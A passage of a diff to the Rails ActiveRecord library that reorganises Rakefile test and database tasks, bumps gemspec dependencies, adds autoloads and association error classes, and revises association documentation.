-%w( mysql mysql2 postgresql sqlite3 sqlite3_mem firebird db2 oracle sybase openbase frontbase jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ).each do |adapter|
-  Rake::TestTask.new("test_#{adapter}") { |t|
-    adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/]
-    t.libs << 'test'
-    t.test_files = (Dir.glob( "test/cases/**/*_test.rb" ).reject {
-      |x| x =~ /\/adapters\//
-    } + Dir.glob("test/cases/adapters/#{adapter_short}/**/*_test.rb")).sort
-
-    t.warning = true
-    t.verbose = true
-  }
-
-  task "isolated_test_#{adapter}" do
-    adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/]
-    puts [adapter, adapter_short].inspect
-    (Dir["test/cases/**/*_test.rb"].reject {
-      |x| x =~ /\/adapters\//
-    } + Dir["test/cases/adapters/#{adapter_short}/**/*_test.rb"]).all? do |file|
-      sh(Gem.ruby, '-w' ,"-Itest", file)
-    end or raise "Failures"
+%w( mysql mysql2 postgresql sqlite3 sqlite3_mem db2 oracle jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ).each do |adapter|
+  namespace :test do
+    Rake::TestTask.new(adapter => "#{adapter}:env") { |t|
+      adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/]
+      t.libs << 'test'
+      t.test_files = (Dir.glob( "test/cases/**/*_test.rb" ).reject {
+        |x| x =~ /\/adapters\//
+      } + Dir.glob("test/cases/adapters/#{adapter_short}/**/*_test.rb")).sort
+
+      t.warning = true
+      t.verbose = true
+      t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+    }
+
+    namespace :isolated do
+      task adapter => "#{adapter}:env" do
+        adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/]
+        puts [adapter, adapter_short].inspect
+        (Dir["test/cases/**/*_test.rb"].reject {
+          |x| x =~ /\/adapters\//
+        } + Dir["test/cases/adapters/#{adapter_short}/**/*_test.rb"]).all? do |file|
+          sh(Gem.ruby, '-w' ,"-Itest", file)
+        end or raise "Failures"
+      end
+    end
   end
 
   namespace adapter do
@@ -74,8 +80,8 @@ end
   end
 
   # Make sure the adapter test evaluates the env setting task
-  task "test_#{adapter}" => "#{adapter}:env"
-  task "isolated_test_#{adapter}" => "#{adapter}:env"
+  task "test_#{adapter}" => ["#{adapter}:env", "test:#{adapter}"]
+  task "isolated_test_#{adapter}" => ["#{adapter}:env", "test:isolated:#{adapter}"]
 end
 
 rule '.sqlite3' do |t|
@@ -87,135 +93,71 @@ task :test_sqlite3 => [
   'test/fixtures/fixture_database_2.sqlite3'
 ]
 
-namespace :mysql do
-  desc 'Build the MySQL test databases'
-  task :build_databases do
-    config = ARTest.config['connections']['mysql']
-    %x( mysql --user=#{config['arunit']['username']} -e "create DATABASE #{config['arunit']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
-    %x( mysql --user=#{config['arunit2']['username']} -e "create DATABASE #{config['arunit2']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
-  end
-
-  desc 'Drop the MySQL test databases'
-  task :drop_databases do
-    config = ARTest.config['connections']['mysql']
-    %x( mysqladmin --user=#{config['arunit']['username']} -f drop #{config['arunit']['database']} )
-    %x( mysqladmin --user=#{config['arunit2']['username']} -f drop #{config['arunit2']['database']} )
-  end
+namespace :db do
+  namespace :mysql do
+    desc 'Build the MySQL test databases'
+    task :build do
+      config = ARTest.config['connections']['mysql']
+      %x( mysql --user=#{config['arunit']['username']} -e "create DATABASE #{config['arunit']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
+      %x( mysql --user=#{config['arunit2']['username']} -e "create DATABASE #{config['arunit2']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
+    end
 
-  desc 'Rebuild the MySQL test databases'
-  task :rebuild_databases => [:drop_databases, :build_databases]
-end
+    desc 'Drop the MySQL test databases'
+    task :drop do
+      config = ARTest.config['connections']['mysql']
+      %x( mysqladmin --user=#{config['arunit']['username']} -f drop #{config['arunit']['database']} )
+      %x( mysqladmin --user=#{config['arunit2']['username']} -f drop #{config['arunit2']['database']} )
+    end
 
-task :build_mysql_databases => 'mysql:build_databases'
-task :drop_mysql_databases => 'mysql:drop_databases'
-task :rebuild_mysql_databases => 'mysql:rebuild_databases'
+    desc 'Rebuild the MySQL test databases'
+    task :rebuild => [:drop, :build]
+  end
 
+  namespace :postgresql do
+    desc 'Build the PostgreSQL test databases'
+    task :build do
+      config = ARTest.config['connections']['postgresql']
+      %x( createdb -E UTF8 -T template0 #{config['arunit']['database']} )
+      %x( createdb -E UTF8 -T template0 #{config['arunit2']['database']} )
 
-namespace :postgresql do
-  desc 'Build the PostgreSQL test databases'
-  task :build_databases do
-    config = ARTest.config['connections']['postgresql']
-    %x( createdb -E UTF8 -T template0 #{config['arunit']['database']} )
-    %x( createdb -E UTF8 -T template0 #{config['arunit2']['database']} )
+      # prepare hstore
+      if %x( createdb --version ).strip.gsub(/(.*)(\d\.\d\.\d)$/, "\\2") < "9.1.0"
+        puts "Please prepare hstore data type. See http://www.postgresql.org/docs/9.0/static/hstore.html"
+      end
+    end
 
-    # notify about preparing hstore
-    if %x( createdb --version ).strip.gsub(/(.*)(\d\.\d\.\d)$/, "\\2") < "9.1.0"
-      puts "Please prepare hstore data type. See http://www.postgresql.org/docs/9.0/static/hstore.html"
+    desc 'Drop the PostgreSQL test databases'
+    task :drop do
+      config = ARTest.config['connections']['postgresql']
+      %x( dropdb #{config['arunit']['database']} )
+      %x( dropdb #{config['arunit2']['database']} )
     end
-  end
 
-  desc 'Drop the PostgreSQL test databases'
-  task :drop_databases do
-    config = ARTest.config['connections']['postgresql']
-    %x( dropdb #{config['arunit']['database']} )
-    %x( dropdb #{config['arunit2']['database']} )
+    desc 'Rebuild the PostgreSQL test databases'
+    task :rebuild => [:drop, :build]
   end
-
-  desc 'Rebuild the PostgreSQL test databases'
-  task :rebuild_databases => [:drop_databases, :build_databases]
 end
 
-task :build_postgresql_databases => 'postgresql:build_databases'
-task :drop_postgresql_databases => 'postgresql:drop_databases'
-task :rebuild_postgresql_databases => 'postgresql:rebuild_databases'
-
-
-namespace :frontbase do
-  desc 'Build the FrontBase test databases'
-  task :build_databases => :rebuild_frontbase_databases
-
-  desc 'Rebuild the FrontBase test databases'
-  task :rebuild_databases do
-    build_frontbase_database = Proc.new do |db_name, sql_definition_file|
-      %(
-        STOP DATABASE #{db_name};
-        DELETE DATABASE #{db_name};
-        CREATE DATABASE #{db_name};
-
-        CONNECT TO #{db_name} AS SESSION_NAME USER _SYSTEM;
-        SET COMMIT FALSE;
+task :build_mysql_databases => 'db:mysql:build'
+task :drop_mysql_databases => 'db:mysql:drop'
+task :rebuild_mysql_databases => 'db:mysql:rebuild'
 
-        CREATE USER RAILS;
-        CREATE SCHEMA RAILS AUTHORIZATION RAILS;
-        COMMIT;
+task :build_postgresql_databases => 'db:postgresql:build'
+task :drop_postgresql_databases => 'db:postgresql:drop'
+task :rebuild_postgresql_databases => 'db:postgresql:rebuild'
 
-        SET SESSION AUTHORIZATION RAILS;
-        SCRIPT '#{sql_definition_file}';
-
-        COMMIT;
-
-        DISCONNECT ALL;
-      )
-    end
-    config = ARTest.config['connections']['frontbase']
-    create_activerecord_unittest  = build_frontbase_database[config['arunit']['database'],  File.join(SCHEMA_ROOT, 'frontbase.sql')]
-    create_activerecord_unittest2 = build_frontbase_database[config['arunit2']['database'], File.join(SCHEMA_ROOT, 'frontbase2.sql')]
-    execute_frontbase_sql = Proc.new do |sql|
-      system(<<-SHELL)
-      /Library/FrontBase/bin/sql92 <<-SQL
-      #{sql}
-      SQL
-      SHELL
-    end
-    execute_frontbase_sql[create_activerecord_unittest]
-    execute_frontbase_sql[create_activerecord_unittest2]
-  end
+task :lines do
+  load File.expand_path('..', File.dirname(__FILE__)) + '/tools/line_statistics'
+  files = FileList["lib/active_record/**/*.rb"]
+  CodeTools::LineStatistics.new(files).print_loc
 end
 
-task :build_frontbase_databases => 'frontbase:build_databases'
-task :rebuild_frontbase_databases => 'frontbase:rebuild_databases'
-
 spec = eval(File.read('activerecord.gemspec'))
 
 Gem::PackageTask.new(spec) do |p|
   p.gem_spec = spec
 end
 
-task :lines do
-  lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
-
-  FileList["lib/active_record/**/*.rb"].each do |file_name|
-    next if file_name =~ /vendor/
-    File.open(file_name, 'r') do |f|
-      while line = f.gets
-        lines += 1
-        next if line =~ /^\s*$/
-        next if line =~ /^\s*#/
-        codelines += 1
-      end
-    end
-    puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
-
-    total_lines     += lines
-    total_codelines += codelines
-
-    lines, codelines = 0, 0
-  end
-
-  puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
-end
-
-
 # Publishing ------------------------------------------------------
 
 desc "Release to rubygems"
diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec
index 9986ded904..c5cd0c89f7 100644
--- a/activerecord/activerecord.gemspec
+++ b/activerecord/activerecord.gemspec
@@ -7,7 +7,7 @@ Gem::Specification.new do |s|
   s.summary     = 'Object-relational mapper framework (part of Rails).'
   s.description = 'Databases on Rails. Build a persistent domain model by mapping database tables to Ruby classes. Strong conventions for associations, validations, aggregations, migrations, and testing come baked-in.'
 
-  s.required_ruby_version = '>= 1.9.3'
+  s.required_ruby_version = '>= 2.2.0'
 
   s.license = 'MIT'
 
@@ -24,5 +24,5 @@ Gem::Specification.new do |s|
   s.add_dependency 'activesupport', version
   s.add_dependency 'activemodel',   version
 
-  s.add_dependency 'arel',                            '~> 4.0.0'
+  s.add_dependency 'arel', '7.0.0.alpha'
 end
diff --git a/activerecord/examples/performance.rb b/activerecord/examples/performance.rb
index d3546ce948..a5a1f284a0 100644
--- a/activerecord/examples/performance.rb
+++ b/activerecord/examples/performance.rb
@@ -39,8 +39,8 @@ class Exhibit < ActiveRecord::Base
     where("notes IS NOT NULL")
   end
 
-  def self.look(exhibits) exhibits.each { |e| e.look } end
-  def self.feel(exhibits) exhibits.each { |e| e.feel } end
+  def self.look(exhibits) exhibits.each(&:look) end
+  def self.feel(exhibits) exhibits.each(&:feel) end
 end
 
 def progress_bar(int); print "." if (int%100).zero? ; end
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
index 9d418dacaf..d9d47c3d99 100644
--- a/activerecord/lib/active_record.rb
+++ b/activerecord/lib/active_record.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2015 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -27,16 +27,19 @@ require 'active_model'
 require 'arel'
 
 require 'active_record/version'
+require 'active_record/attribute_set'
 
 module ActiveRecord
   extend ActiveSupport::Autoload
 
+  autoload :Attribute
   autoload :Base
   autoload :Callbacks
   autoload :Core
   autoload :ConnectionHandling
   autoload :CounterCache
   autoload :DynamicMatchers
+  autoload :Enum
   autoload :Explain
   autoload :Inheritance
   autoload :Integration
@@ -44,6 +47,7 @@ module ActiveRecord
   autoload :Migrator, 'active_record/migration'
   autoload :ModelSchema
   autoload :NestedAttributes
+  autoload :NoTouching
   autoload :Persistence
   autoload :QueryCache
   autoload :Querying
@@ -58,10 +62,12 @@ module ActiveRecord
   autoload :Serialization
   autoload :StatementCache
   autoload :Store
+  autoload :TableMetadata
   autoload :Timestamp
   autoload :Transactions
   autoload :Translation
   autoload :Validations
+  autoload :SecureToken
 
   eager_autoload do
     autoload :ActiveRecordError, 'active_record/errors'
@@ -93,6 +99,7 @@ module ActiveRecord
 
   module Coders
     autoload :YAMLColumn, 'active_record/coders/yaml_column'
+    autoload :JSON, 'active_record/coders/json'
   end
 
   module AttributeMethods
@@ -145,10 +152,6 @@ module ActiveRecord
     autoload :MySQLDatabaseTasks,  'active_record/tasks/mysql_database_tasks'
     autoload :PostgreSQLDatabaseTasks,
       'active_record/tasks/postgresql_database_tasks'
-
-    autoload :FirebirdDatabaseTasks, 'active_record/tasks/firebird_database_tasks'
-    autoload :SqlserverDatabaseTasks, 'active_record/tasks/sqlserver_database_tasks'
-    autoload :OracleDatabaseTasks, 'active_record/tasks/oracle_database_tasks'
   end
 
   autoload :TestFixtures, 'active_record/fixtures'
diff --git a/activerecord/lib/active_record/aggregations.rb b/activerecord/lib/active_record/aggregations.rb
index d075edc159..39077aea7e 100644
--- a/activerecord/lib/active_record/aggregations.rb
+++ b/activerecord/lib/active_record/aggregations.rb
@@ -129,10 +129,10 @@ module ActiveRecord
     # is an instance of the value class. Specifying a custom converter allows the new value to be automatically
     # converted to an instance of value class if necessary.
     #
-    # For example, the NetworkResource model has +network_address+ and +cidr_range+ attributes that
-    # should be aggregated using the NetAddr::CIDR value class (http://netaddr.rubyforge.org). The constructor
-    # for the value class is called +create+ and it expects a CIDR address string as a parameter. New
-    # values can be assigned to the value object using either another NetAddr::CIDR object, a string
+    # For example, the NetworkResource model has +network_address+ and +cidr_range+ attributes that should be
+    # aggregated using the NetAddr::CIDR value class (http://www.ruby-doc.org/gems/docs/n/netaddr-1.5.0/NetAddr/CIDR.html).
+    # The constructor for the value class is called +create+ and it expects a CIDR address string as a parameter.
+    # New values can be assigned to the value object using either another NetAddr::CIDR object, a string
     # or an array. The <tt>:constructor</tt> and <tt>:converter</tt> options can be used to meet
     # these requirements:
     #
@@ -224,14 +224,14 @@ module ActiveRecord
         writer_method(name, class_name, mapping, allow_nil, converter)
 
         reflection = ActiveRecord::Reflection.create(:composed_of, part_id, nil, options, self)
-        Reflection.add_reflection self, part_id, reflection
+        Reflection.add_aggregate_reflection self, part_id, reflection
       end
 
       private
         def reader_method(name, class_name, mapping, allow_nil, constructor)
           define_method(name) do
-            if @aggregation_cache[name].nil? && (!allow_nil || mapping.any? {|pair| !read_attribute(pair.first).nil? })
-              attrs = mapping.collect {|pair| read_attribute(pair.first)}
+            if @aggregation_cache[name].nil? && (!allow_nil || mapping.any? {|key, _| !_read_attribute(key).nil? })
+              attrs = mapping.collect {|key, _| _read_attribute(key)}
               object = constructor.respond_to?(:call) ?
                 constructor.call(*attrs) :
                 class_name.constantize.send(constructor, *attrs)
@@ -244,15 +244,20 @@ module ActiveRecord
         def writer_method(name, class_name, mapping, allow_nil, converter)
           define_method("#{name}=") do |part|
             klass = class_name.constantize
+            if part.is_a?(Hash)
+              raise ArgumentError unless part.size == part.keys.max
+              part = klass.new(*part.sort.map(&:last))
+            end
+
             unless part.is_a?(klass) || converter.nil? || part.nil?
               part = converter.respond_to?(:call) ? converter.call(part) : klass.send(converter, part)
             end
 
             if part.nil? && allow_nil
-              mapping.each { |pair| self[pair.first] = nil }
+              mapping.each { |key, _| self[key] = nil }
               @aggregation_cache[name] = nil
             else
-              mapping.each { |pair| self[pair.first] = part.send(pair.last) }
+              mapping.each { |key, value| self[key] = part.send(value) }
               @aggregation_cache[name] = part.freeze
             end
           end
diff --git a/activerecord/lib/active_record/association_relation.rb b/activerecord/lib/active_record/association_relation.rb
index 20516bba0c..f2b44913db 100644
--- a/activerecord/lib/active_record/association_relation.rb
+++ b/activerecord/lib/active_record/association_relation.rb
@@ -1,7 +1,7 @@
 module ActiveRecord
   class AssociationRelation < Relation
-    def initialize(klass, table, association)
-      super(klass, table)
+    def initialize(klass, table, predicate_builder, association)
+      super(klass, table, predicate_builder)
       @association = association
     end
 
@@ -9,6 +9,10 @@ module ActiveRecord
       @association
     end
 
+    def ==(other)
+      other == to_a
+    end
+
     private
 
     def exec_queries
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
index 33cbafc6aa..5a3b4f0c40 100644
--- a/activerecord/lib/active_record/associations.rb
+++ b/activerecord/lib/active_record/associations.rb
@@ -4,6 +4,12 @@ require 'active_support/core_ext/module/remove_method'
 require 'active_record/errors'
 
 module ActiveRecord
+  class AssociationNotFoundError < ConfigurationError #:nodoc:
+    def initialize(record, association_name)
+      super("Association named '#{association_name}' was not found on #{record.class.name}; perhaps you misspelled it?")
+    end
+  end
+
   class InverseOfAssociationNotFoundError < ActiveRecordError #:nodoc:
     def initialize(reflection, associated_class = nil)
       super("Could not find the inverse association for #{reflection.name} (#{reflection.options[:inverse_of].inspect} in #{associated_class.nil? ? reflection.class_name : associated_class.name})")
@@ -40,12 +46,18 @@ module ActiveRecord
     end
   end
 
+  class HasOneAssociationPolymorphicThroughError < ActiveRecordError #:nodoc:
+    def initialize(owner_class_name, reflection)
+      super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.")
+    end
+  end
+
   class HasManyThroughSourceAssociationNotFoundError < ActiveRecordError #:nodoc:
     def initialize(reflection)
       through_reflection      = reflection.through_reflection
       source_reflection_names = reflection.source_reflection_names
-      source_associations     = reflection.through_reflection.klass.reflect_on_all_associations.collect { |a| a.name.inspect }
-      super("Could not find the source association(s) #{source_reflection_names.collect{ |a| a.inspect }.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?")
+      source_associations     = reflection.through_reflection.klass._reflections.keys
+      super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?")
     end
   end
 
@@ -73,21 +85,15 @@ module ActiveRecord
     end
   end
 
-  class HasAndBelongsToManyAssociationForeignKeyNeeded < ActiveRecordError #:nodoc:
-    def initialize(reflection)
-      super("Cannot create self referential has_and_belongs_to_many association on '#{reflection.class_name rescue nil}##{reflection.name rescue nil}'. :association_foreign_key cannot be the same as the :foreign_key.")
-    end
-  end
-
   class EagerLoadPolymorphicError < ActiveRecordError #:nodoc:
     def initialize(reflection)
-      super("Can not eagerly load the polymorphic association #{reflection.name.inspect}")
+      super("Cannot eagerly load the polymorphic association #{reflection.name.inspect}")
     end
   end
 
   class ReadOnlyAssociation < ActiveRecordError #:nodoc:
     def initialize(reflection)
-      super("Can not add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
+      super("Cannot add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
     end
   end
 
@@ -110,11 +116,11 @@ module ActiveRecord
     autoload :Association,           'active_record/associations/association'
     autoload :SingularAssociation,   'active_record/associations/singular_association'
     autoload :CollectionAssociation, 'active_record/associations/collection_association'
+    autoload :ForeignAssociation,    'active_record/associations/foreign_association'
     autoload :CollectionProxy,       'active_record/associations/collection_proxy'
 
     autoload :BelongsToAssociation,            'active_record/associations/belongs_to_association'
     autoload :BelongsToPolymorphicAssociation, 'active_record/associations/belongs_to_polymorphic_association'
-    autoload :HasAndBelongsToManyAssociation,  'active_record/associations/has_and_belongs_to_many_association'
     autoload :HasManyAssociation,              'active_record/associations/has_many_association'
     autoload :HasManyThroughAssociation,       'active_record/associations/has_many_through_association'
     autoload :HasOneAssociation,               'active_record/associations/has_one_association'
@@ -137,7 +143,6 @@ module ActiveRecord
       autoload :JoinDependency,   'active_record/associations/join_dependency'
       autoload :AssociationScope, 'active_record/associations/association_scope'
       autoload :AliasTracker,     'active_record/associations/alias_tracker'
-      autoload :JoinHelper,       'active_record/associations/join_helper'
     end
 
     # Clears out the association cache.
@@ -153,7 +158,7 @@ module ActiveRecord
       association = association_instance_get(name)
 
       if association.nil?
-        reflection  = self.class.reflect_on_association(name)
+        raise AssociationNotFoundError.new(self, name) unless reflection = self.class._reflect_on_association(name)
         association = reflection.association_class.new(self, reflection)
         association_instance_set(name, association)
       end
@@ -204,12 +209,13 @@ module ActiveRecord
     # For instance, +attributes+ and +connection+ would be bad choices for association names.
     #
     # == Auto-generated methods
+    # See also Instance Public methods below for more details.
     #
     # === Singular associations (one-to-one)
     #                                     |            |  belongs_to  |
     #   generated methods                 | belongs_to | :polymorphic | has_one
     #   ----------------------------------+------------+--------------+---------
-    #   other                             |     X      |      X       |    X
+    #   other(force_reload=false)         |     X      |      X       |    X
     #   other=(other)                     |     X      |      X       |    X
     #   build_other(attributes={})        |     X      |              |    X
     #   create_other(attributes={})       |     X      |              |    X
@@ -219,7 +225,7 @@ module ActiveRecord
     #                                     |       |          | has_many
     #   generated methods                 | habtm | has_many | :through
     #   ----------------------------------+-------+----------+----------
-    #   others                            |   X   |    X     |    X
+    #   others(force_reload=false)        |   X   |    X     |    X
     #   others=(other,other,...)          |   X   |    X     |    X
     #   other_ids                         |   X   |    X     |    X
     #   other_ids=(id,id,...)             |   X   |    X     |    X
@@ -421,6 +427,10 @@ module ActiveRecord
     #     has_many :birthday_events, ->(user) { where starts_on: user.birthday }, class_name: 'Event'
     #   end
     #
+    # Note: Joining, eager loading and preloading of these associations is not fully possible.
+    # These operations happen before instance creation and the scope will be called with a +nil+ argument.
+    # This can lead to unexpected behavior and is deprecated.
+    #
     # == Association callbacks
     #
     # Similar to the normal callbacks that hook into the life cycle of an Active Record object,
@@ -444,9 +454,11 @@ module ActiveRecord
     #
     # Possible callbacks are: +before_add+, +after_add+, +before_remove+ and +after_remove+.
     #
-    # Should any of the +before_add+ callbacks throw an exception, the object does not get
-    # added to the collection. Same with the +before_remove+ callbacks; if an exception is
-    # thrown the object doesn't get removed.
+    # If any of the +before_add+ callbacks throw an exception, the object will not be
+    # added to the collection.
+    #
+    # Similarly, if any of the +before_remove+ callbacks throw an exception, the object
+    # will not be removed from the collection.
     #
     # == Association extensions
     #
@@ -538,8 +550,8 @@ module ActiveRecord
     #   end
     #
     #   @firm = Firm.first
-    #   @firm.clients.collect { |c| c.invoices }.flatten # select all invoices for all clients of the firm
-    #   @firm.invoices                                   # selects all invoices by going through the Client join model
+    #   @firm.clients.flat_map { |c| c.invoices } # select all invoices for all clients of the firm
+    #   @firm.invoices                            # selects all invoices by going through the Client join model
     #
     # Similarly you can go through a +has_one+ association on the join model:
     #
@@ -644,7 +656,7 @@ module ActiveRecord
     #     belongs_to :commenter
     #   end
     #
-    # When using nested association, you will not be able to modify the association because there
+    # When using a nested association, you will not be able to modify the association because there
     # is not enough information to know what modification to make. For example, if you tried to
     # add a <tt>Commenter</tt> in the example above, there would be no way to tell how to set up the
     # intermediate <tt>Post</tt> and <tt>Comment</tt> objects.
@@ -676,11 +688,14 @@ module ActiveRecord
     # and member posts that use the posts table for STI. In this case, there must be a +type+
     # column in the posts table.
     #
+    # Note: The <tt>attachable_type=</tt> method is being called when assigning an +attachable+.
+    # The +class_name+ of the +attachable+ is passed as a String.
+    #
     #   class Asset < ActiveRecord::Base
     #     belongs_to :attachable, polymorphic: true
     #
-    #     def attachable_type=(sType)
-    #        super(sType.to_s.classify.constantize.base_class.to_s)
+    #     def attachable_type=(class_name)
+    #        super(class_name.constantize.base_class.to_s)
     #     end
     #   end
     #
@@ -711,9 +726,9 @@ module ActiveRecord
     # == Eager loading of associations
     #
     # Eager loading is a way to find objects of a certain class and a number of named associations.
-    # This is one of the easiest ways of to prevent the dreaded 1+N problem in which fetching 100
+    # It is one of the easiest ways to prevent the dreaded N+1 problem in which fetching 100
     # posts that each need to display their author triggers 101 database queries. Through the
-    # use of eager loading, the 101 queries can be reduced to 2.
+    # use of eager loading, the number of queries will be reduced from 101 to 2.
     #
     #   class Post < ActiveRecord::Base
     #     belongs_to :author
@@ -743,16 +758,16 @@ module ActiveRecord
     #   Post.includes(:author, :comments).each do |post|
     #
     # This will load all comments with a single query. This reduces the total number of queries
-    # to 3. More generally the number of queries will be 1 plus the number of associations
+    # to 3. In general, the number of queries will be 1 plus the number of associations
     # named (except if some of the associations are polymorphic +belongs_to+ - see below).
     #
     # To include a deep hierarchy of associations, use a hash:
     #
-    #   Post.includes(:author, {comments: {author: :gravatar}}).each do |post|
+    #   Post.includes(:author, { comments: { author: :gravatar } }).each do |post|
     #
-    # That'll grab not only all the comments but all their authors and gravatar pictures.
-    # You can mix and match symbols, arrays and hashes in any combination to describe the
-    # associations you want to load.
+    # The above code will load all the comments and all of their associated
+    # authors and gravatars. You can mix and match any combination of symbols,
+    # arrays, and hashes to retrieve the associations you want to load.
     #
     # All of this power shouldn't fool you into thinking that you can pull out huge amounts
     # of data with no performance penalty just because you've reduced the number of queries.
@@ -761,8 +776,8 @@ module ActiveRecord
     # cut down on the number of queries in a situation as the one described above.
     #
     # Since only one table is loaded at a time, conditions or orders cannot reference tables
-    # other than the main one. If this is the case Active Record falls back to the previously
-    # used LEFT OUTER JOIN based strategy. For example
+    # other than the main one. If this is the case, Active Record falls back to the previously
+    # used LEFT OUTER JOIN based strategy. For example:
     #
     #   Post.includes([:author, :comments]).where(['comments.approved = ?', true])
     #
@@ -772,11 +787,16 @@ module ActiveRecord
     # like this can have unintended consequences.
     # In the above example posts with no approved comments are not returned at all, because
     # the conditions apply to the SQL statement as a whole and not just to the association.
+    #
     # You must disambiguate column references for this fallback to happen, for example
     # <tt>order: "author.name DESC"</tt> will work but <tt>order: "name DESC"</tt> will not.
     #
-    # If you do want eager load only some members of an association it is usually more natural
-    # to include an association which has conditions defined on it:
+    # If you want to load all posts (including posts with no approved comments) then write
+    # your own LEFT OUTER JOIN query using ON
+    #
+    #   Post.joins("LEFT OUTER JOIN comments ON comments.post_id = posts.id AND comments.approved = '1'")
+    #
+    # In this case it is usually more natural to include an association which has conditions defined on it:
     #
     #   class Post < ActiveRecord::Base
     #     has_many :approved_comments, -> { where approved: true }, class_name: 'Comment'
@@ -980,6 +1000,8 @@ module ActiveRecord
     # callbacks declared either before or after the <tt>:dependent</tt> option
     # can affect what it does.
     #
+    # Note that <tt>:dependent</tt> option is ignored for +has_one+ <tt>:through</tt> associations.
+    # 
     # === Delete or destroy?
     #
     # +has_many+ and +has_and_belongs_to_many+ associations have the methods <tt>destroy</tt>,
@@ -992,7 +1014,7 @@ module ActiveRecord
     # record(s) being removed so that callbacks are run. However <tt>delete</tt> and <tt>delete_all</tt> will either
     # do the deletion according to the strategy specified by the <tt>:dependent</tt> option, or
     # if no <tt>:dependent</tt> option is given, then it will follow the default strategy.
-    # The default strategy is <tt>:nullify</tt> (set the foreign keys to <tt>nil</tt>), except for
+    # The default strategy is to do nothing (leave the foreign keys with the parent ids set), except for
     # +has_many+ <tt>:through</tt>, where the default strategy is <tt>delete_all</tt> (delete
     # the join records, without running their callbacks).
     #
@@ -1041,6 +1063,9 @@ module ActiveRecord
       # Specifies a one-to-many association. The following methods for retrieval and query of
       # collections of associated objects will be added:
       #
+      # +collection+ is a placeholder for the symbol passed as the +name+ argument, so
+      # <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.
+      #
       # [collection(force_reload = false)]
       #   Returns an array of all the associated objects.
       #   An empty array is returned if none are found.
@@ -1099,9 +1124,6 @@ module ActiveRecord
       #   Does the same as <tt>collection.create</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
       #   if the record is invalid.
       #
-      # (*Note*: +collection+ is replaced with the symbol passed as the first argument, so
-      # <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.)
-      #
       # === Example
       #
       # A <tt>Firm</tt> class declares <tt>has_many :clients</tt>, which will add:
@@ -1120,7 +1142,32 @@ module ActiveRecord
       # * <tt>Firm#clients.build</tt> (similar to <tt>Client.new("firm_id" => id)</tt>)
       # * <tt>Firm#clients.create</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save; c</tt>)
       # * <tt>Firm#clients.create!</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save!</tt>)
-      # The declaration can also include an options hash to specialize the behavior of the association.
+      # The declaration can also include an +options+ hash to specialize the behavior of the association.
+      #
+      # === Scopes
+      #
+      # You can pass a second argument +scope+ as a callable (i.e. proc or
+      # lambda) to retrieve a specific set of records or customize the generated
+      # query when you access the associated collection.
+      #
+      # Scope examples:
+      #   has_many :comments, -> { where(author_id: 1) }
+      #   has_many :employees, -> { joins(:address) }
+      #   has_many :posts, ->(post) { where("max_post_length > ?", post.length) }
+      #
+      # === Extensions
+      #
+      # The +extension+ argument allows you to pass a block into a has_many
+      # association. This is useful for adding new finders, creators and other
+      # factory-type methods to be used as part of the association.
+      #
+      # Extension examples:
+      #   has_many :employees do
+      #     def find_or_create_by_name(name)
+      #       first_name, last_name = name.split(" ", 2)
+      #       find_or_create_by(first_name: first_name, last_name: last_name)
+      #     end
+      #   end
       #
       # === Options
       # [:class_name]
@@ -1132,8 +1179,14 @@ module ActiveRecord
       #   Specify the foreign key used for the association. By default this is guessed to be the name
       #   of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_many+
       #   association will use "person_id" as the default <tt>:foreign_key</tt>.
+      # [:foreign_type]
+      #   Specify the column used to store the associated object's type, if this is a polymorphic
+      #   association. By default this is guessed to be the name of the polymorphic association
+      #   specified on "as" option with a "_type" suffix. So a class that defines a
+      #   <tt>has_many :tags, as: :taggable</tt> association will use "taggable_type" as the
+      #   default <tt>:foreign_type</tt>.
       # [:primary_key]
-      #   Specify the method that returns the primary key used for the association. By default this is +id+.
+      #   Specify the name of the column to use as the primary key for the association. By default this is +id+.
       # [:dependent]
       #   Controls what happens to the associated objects when
